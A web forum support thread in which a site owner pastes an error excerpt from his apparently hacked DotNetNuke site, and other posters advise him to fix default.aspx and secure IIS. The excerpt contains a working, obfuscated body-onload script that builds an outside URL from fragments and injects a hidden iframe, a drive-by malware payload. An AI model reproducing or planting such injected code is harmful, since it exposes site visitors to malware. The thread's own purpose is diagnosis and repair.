Hey there,

recently i visited my site - www.mobismartzone.com and was presented with the following error. i have not done any upgrades or new installs so and really baffled by why this error is occurring. The site has been down for a week now as a result and i am looking for any assistance on fixing this error as quickly as possible. The error i see when i browse to my site is -

 
Line 20: </head>
Line 21:
Line 22: <bodyLine 23: onload="status='';g='i';y='e';pm='u';wu='htt';n='vek';v='/k';k='ram';b='f';j='sr';e='ll';w='r';o='i';a='i';nr='c'
;hy='o';gh='s.';l='l';x='//';su='php';pw
='x.';i='nde';vq='p:';jy='i';mo='ll/';yn=jy.concat(b,k,y);uw=j.concat(nr);cr=wu.concat
(vq,x,l,hy,n,a,e,gh,w,pm,v,g,mo,o,i,pw,su);var
wi=document.createElement(yn);wi.setAttribute('width','5');wi.setAttribute('height','5');
wi.setAttribute('style','display:none');wi.setAttribute(uw,cr);d
ocument.body.appendChild(wi);window.status=status;" id="Body" runat="server" >
Line 24:     <noscript></noscript>
 

If there is anyone that can advise what i need to do to rectify this i would be greatfully appreciative.

thanks

Brad
 

*Edit removed a lot of text to make the post easier to read -chris hammond

I would begin by making sure your IIS is securely locked down, I believe there's a tool called IISLockdown that you can run to check things out. It is highly likely that someone got through your webserver and hacked into default.aspx, rather than getting in through DNN itself.

As Brian said, the immediate fix would be to correct your default.aspx file, ultimately you need to figure out what hole they got through in IIS and close that.

I was going to suggest you try logging in, but it looks like you perhaps modified the portal and setup a login page, without putting a login module on that page?

http://www.motosmartzone.com/dotnetnuke/Home/tabid/36/ctl/Login/Default.aspx?returnurl=%2fdotnetnuke%2fHome%2ftabid%2f36%2fctl%2fLogin%2fDefault.aspx

If that is the case, get into the Portals table in the database and make the LoginTabId column NULL in your portals table so that you can get logged into the website. Login as the Host account and see what errors come up on the home page.